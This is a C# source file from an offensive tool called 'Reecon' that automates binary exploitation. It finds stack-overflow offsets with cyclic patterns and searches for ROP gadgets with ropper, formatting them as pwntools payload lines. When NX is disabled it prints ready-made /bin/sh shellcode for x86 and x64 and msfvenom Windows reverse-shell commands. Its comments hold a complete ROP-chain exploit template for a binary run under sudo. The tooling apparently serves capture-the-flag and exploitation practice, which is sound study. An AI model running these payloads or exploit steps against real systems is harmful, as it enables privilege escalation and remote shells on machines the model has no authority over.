-
Notifications
You must be signed in to change notification settings - Fork 4
/
Pwn.cs
412 lines (383 loc) · 18.9 KB
/
Pwn.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
namespace Reecon
{
class Pwn
{
public static void Scan(string[] args)
{
if (args.Length != 2)
{
Console.WriteLine("pwn Usage: reecon -pwn fileNameHere");
return;
}
string fileName = args[1];
if (!File.Exists(fileName))
{
Console.WriteLine(fileName + " does not exist.");
return;
}
ScanFile(fileName);
}
private static void ScanFile(string fileName)
{
if (!fileName.StartsWith("./"))
{
Console.WriteLine("fileName must start with ./");
return;
}
Architecture architecture = IDFile(fileName);
if (architecture == Architecture.Linux86)
{
Console.WriteLine("Architecture: x86");
// You can get a segfault address of x86 programs by going
// dmesg | tail -2 (Sometimes the last entry isn't for it)
// dmesg | grep "ret2win32" | tail -1
// pwn cyclic 500
// aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
if (General.IsInstalledOnLinux("pwn"))
{
General.RunProcess("/bin/bash", " -c \"echo 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' | " + fileName + "\"", 5);
List<string> dmesgOutput = General.GetProcessOutput("dmesg", "");
foreach (string item in dmesgOutput)
{
// segfault at 6161616c ip 000000006161616c x
if (item.Contains(fileName.TrimStart("./".ToCharArray())) && item.Contains("segfault at "))
{
// Console.WriteLine("-- Item: " + item);
string segfaultHex = item.Remove(0, item.IndexOf("segfault at ") + 12).Substring(0, 9).Trim();
// Console.WriteLine("-- segfaultHex: " + segfaultHex);
string pwntoolsSearch = (new string(HEX2ASCII(segfaultHex).Reverse().ToArray()));
// Console.WriteLine("-- pwntoolsSearch: " + segfaultHex);
string pwnPos = General.GetProcessOutput("pwn", "cyclic -l " + pwntoolsSearch).First();
Console.WriteLine("- Cyclic Segfault Overflow Position: " + pwnPos);
}
}
}
else
{
Console.WriteLine("- pwntools is not installed - Skipping auto segfault");
}
}
else if (architecture == Architecture.Linux64)
{
Console.WriteLine("Architecture: x64");
// TODO: Find where it segfaults, -1
}
else if (architecture == Architecture.Windows)
{
Console.WriteLine("File Type: Windows (Unknown Architecture)");
}
else
{
Console.WriteLine("Architecture: Unknown - Bug Reelix to fix this!");
}
if (General.IsInstalledOnLinux("ropper"))
{
List<string> ropperOutput = General.GetProcessOutput("ropper", $"--nocolor --file {fileName} --search \"ret;\"");
foreach (string item in ropperOutput)
{
if (!item.StartsWith("[INFO]") && !item.StartsWith("[LOAD]"))
{
string pwnItem = item.Trim();
pwnItem = pwnItem.Replace(": ret;", "");
if (pwnItem.Length == 18) // x64
{
pwnItem += " -- payload += p64(0x" + pwnItem.Substring(pwnItem.Length - 6, 6) + ")";
// 0x16 - x64 address
Console.WriteLine("- ret; (Only function calls) --> " + pwnItem);
}
else if (pwnItem.Length == 10) // x86
{
Console.WriteLine("- ret; (Only function calls) --> " + pwnItem);
}
else
{
Console.WriteLine("Error - Unknown ret length: " + pwnItem.Length);
}
}
}
ropperOutput = General.GetProcessOutput("ropper", $"--nocolor --file {fileName} --search \"pop rdi; ret;\"");
foreach (string item in ropperOutput)
{
if (!item.StartsWith("[INFO]") && !item.StartsWith("[LOAD]"))
{
if (item.Contains(": pop rdi; ret;"))
{
string pwnItem = item.Trim();
pwnItem = pwnItem.Replace(": pop rdi; ret;", "");
if (pwnItem.Length == 18)
{
// TODO: p64 is only for x64 processes - Check first and implement x86 variant
pwnItem += " -- payload += p64(0x" + pwnItem.Substring(pwnItem.Length - 6, 6) + ")";
// 0x16 - x64 address
Console.WriteLine("- pop rdi; ret; (Can set values) --> " + pwnItem);
}
else
{
Console.WriteLine("Not 18 - " + pwnItem.Length);
}
}
else
{
Console.WriteLine("Unknown prr item: " + item);
}
}
}
ropperOutput = General.GetProcessOutput("ropper", $"--nocolor --file {fileName} --string \"/bin/sh\"");
foreach (string item in ropperOutput)
{
if (!item.StartsWith("[INFO]") && !item.StartsWith("[LOAD]") && item.Contains("/bin/sh"))
{
string pwnItem = item.Trim();
pwnItem = pwnItem.Replace("/bin/sh", "").Trim(); ;
if (pwnItem.Length == 10)
{
// TODO: p64 is only for x64 processes - Check first and implement x86 variant
pwnItem += " -- payload += p64(0x" + pwnItem.Substring(pwnItem.Length - 6, 6) + ")";
// 0x16 - x64 address
}
else
{
Console.WriteLine("Not 10 - " + pwnItem.Length);
}
Console.WriteLine("- /bin/sh --> " + pwnItem);
}
}
ropperOutput = General.GetProcessOutput("ropper", $"--nocolor --file {fileName} --search \"jmp esp;\"");
foreach (string item in ropperOutput)
{
if (!item.StartsWith("[INFO]") && !item.StartsWith("[LOAD]"))
{
if (item.Contains(": jmp esp;"))
{
string pwnItem = item.Trim();
pwnItem = pwnItem.Replace(": jmp esp;", "").Trim();
if (pwnItem.Length == 10 && pwnItem.Substring(0, 2) == "0x")
{
// 0x080414c3 -> 080414c3
string jmpesp = pwnItem.Remove(0, 2);
// 080414c3 -> "\xc3\x14\x04\x08"
jmpesp = string.Format("\\x{0}\\x{1}\\x{2}\\x{3}", jmpesp.Substring(6, 2), jmpesp.Substring(4, 2), jmpesp.Substring(2, 2), jmpesp.Substring(0, 2));
Console.WriteLine("- jmp esp; --> " + pwnItem + " --> " + jmpesp);
}
else
{
Console.WriteLine("Invalud length - Bug Reelix!");
}
}
else
{
Console.WriteLine("Unknown jmp esp Item: " + item);
}
}
}
// // ropper --file sudo_pwn_file_here --string "/bin/sh"
}
else
{
Console.WriteLine("- ropper is not installed (pip install ropper) - Skipping gadget check and string search");
}
if (General.IsInstalledOnLinux("rabin2"))
{
List<string> rabin2Output = General.GetProcessOutput("rabin2", "-I ./" + fileName);
if (rabin2Output.FirstOrDefault(x => x.Trim().StartsWith("nx")).Contains("false"))
{
Console.WriteLine("- nx is disabled - You can run your own shellcode!");
if (architecture == Architecture.Linux64) // bits ?
{
Console.WriteLine(@"Linux/x86-64 - Execute /bin/sh: \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05");
}
else if (architecture == Architecture.Linux86)
{
Console.WriteLine(@"Linux/x86 - Execute /bin/sh: \x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80");
}
else if (architecture == Architecture.Windows)
{
// -f c = Format (Else it just parses raw bytes instead of showing them)
// -b = Bad characters
if (rabin2Output.FirstOrDefault(x => x.Trim().StartsWith("bits")).Contains("32"))
{
Console.WriteLine("-- Windows - x86 Reverse Shell: msfvenom -p windows/shell_reverse_tcp LHOST=ipHere LPORT=portHere -a x86 --platform windows -f c -b \"\\x00\"");
}
else if (rabin2Output.FirstOrDefault(x => x.Trim().StartsWith("bits")).Contains("64"))
{
Console.WriteLine("-- Windows - x64 Reverse Shell: msfvenom -p windows/shell_reverse_tcp LHOST=ipHere LPORT=portHere -a x64 --platform windows -f c -b \"\\x00\"");
}
else
{
// http://shell-storm.org/shellcode/
Console.WriteLine("Unknown Inner Arch - Bug Reelix to fix his code!");
}
}
else
{
// http://shell-storm.org/shellcode/
Console.WriteLine("Unknown Outer Arch - Bug Reelix to fix his code!");
}
}
else if (rabin2Output.FirstOrDefault(x => x.Trim().StartsWith("nx")).Contains("true"))
{
Console.WriteLine("- nx enabled - No custom shellcode for you!");
}
}
else
{
Console.WriteLine("- rabin2 is not installed (sudo apt install radare2 or https://github.com/radareorg/radare2/releases) - Skipping nx check");
}
if (General.IsInstalledOnLinux("objdump"))
{
bool hasMain = false;
List<string> objdumpOutput = General.GetProcessOutput("objdump", $"-D {fileName}");
foreach (string item in objdumpOutput)
{
if (item.Contains("call") && item.Contains("system")) // callq contains call
{
Console.WriteLine("- system --> " + item);
}
if (item.Trim().EndsWith(" <puts@plt>:"))
{
Console.WriteLine("- puts@plt (plt_puts) --> " + item);
}
if (item.Contains("puts@GLIBC"))
{
Console.WriteLine("- puts@GLIBC (got_puts) --> " + item);
}
if (item.Trim().EndsWith(" <main>:"))
{
hasMain = true;
Console.WriteLine("- <main> Address: " + item.Substring(0, item.IndexOf(" ")));
}
}
if (!hasMain)
{
objdumpOutput = General.GetProcessOutput("objdump", $"-f {fileName}");
foreach (string item in objdumpOutput)
{
if (item.Trim().StartsWith("start address "))
{
Console.WriteLine("- " + item);
break;
}
}
}
objdumpOutput = General.GetProcessOutput("objdump", $"-t {fileName}");
foreach (string item in objdumpOutput)
{
// .text = Name
// " g" = Global
if (item.Contains(".text") && item.Contains(" g "))
{
Console.WriteLine("- Useful Symbol: " + item);
}
}
// objdump -t ./file.elf | grep .text
}
else
{
Console.WriteLine("- objdump is not installed - Skipping syscalls");
}
Console.WriteLine("Finished");
}
// For Reversing - I doubt this will ever get really used, so it's more just useful reversing stuff
// python3 -c 'from pwn import *;someval = ("A"*44).encode() + p32(0x804862c);f = open("exploit","wb");f.write(someval);f.close()' && cat exploit | ./ret2win32
// Rop Chain Shellcode Breakdown
// https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08
// from pwn import *
// elf = context.binary = ELF('./sudo_pwn_file_here')
// # Start
// io = process(elf.path)
// # Cyclic Crash
// io.sendline(cyclic(512))
// # Wait for it to crash
// io.wait()
// # Read the core file of the crash
// core = io.corefile
// # read the stack point at the time of the crash
// stack = core.rsp
// # Find the offset
// pattern = core.read(stack, 4)
// offset = cyclic_find(pattern)
// ropper --file sudo_pwn_file_here --search "pop rdi; ret;"
// ropper --file sudo_pwn_file_here --string "/bin/sh"
// objdump -D ./sudo_pwn_file_here | grep system
// rop_chain = p64(pop_rdi, endian= "little")
// rop_chain += p64(bin_sh, endian= "little")
// rop_chain += p64(system, endian= "little")
// # Add the padding so it does it after the crash spot
// padding = cyclic(offset)
// OR padding = ('A' * 44).encode()
// payload = padding + rop_chain
// f = open('exploit','wb')
// f.write(payload)
// f.close()
// Usage: (cat exploit; cat) | sudo /sudo_pwn_file_here
// ELF Header:
// 7f
// 45 4c 46 (E L F)
// 01 (x86) | 02 (x64)
private enum Architecture
{
Linux86,
Linux64,
Windows,
Unknown
}
private static Architecture IDFile(string filePath)
{
byte[] headerBytes = new byte[5];
using (FileStream fileStream = new(filePath, FileMode.Open, FileAccess.Read))
{
fileStream.Read(headerBytes, 0, 5);
}
// ELF
if (headerBytes[0] == 0x7F && headerBytes[1] == 0x45 && headerBytes[2] == 0x4C && headerBytes[3] == 0x46)
{
if (headerBytes[4] == 0x01)
{
return Architecture.Linux86;
}
else if (headerBytes[4] == 0x02)
{
return Architecture.Linux64;
}
else
{
Console.WriteLine("Unknown File Type Identifier");
return Architecture.Unknown;
}
}
// MZ
else if (headerBytes[0] == 0x4D && headerBytes[1] == 0x5A)
{
return Architecture.Windows;
}
else
{
if (BitConverter.ToString(headerBytes) == "66-72-6F-6D-20") // f r o m {space}
{
Console.WriteLine("Error - Cannot find Architecture - That's probably a Python file...");
}
else
{
Console.WriteLine("Error - Unknown File Type - First 5 Hex Bytes: " + BitConverter.ToString(headerBytes));
}
return Architecture.Unknown;
}
}
private static string HEX2ASCII(string hex)
{
string res = String.Empty;
for (int a = 0; a < hex.Length; a += 2)
{
string Char2Convert = hex.Substring(a, 2);
int n = Convert.ToInt32(Char2Convert, 16);
char c = (char)n;
res += c.ToString();
}
return res;
}
}
}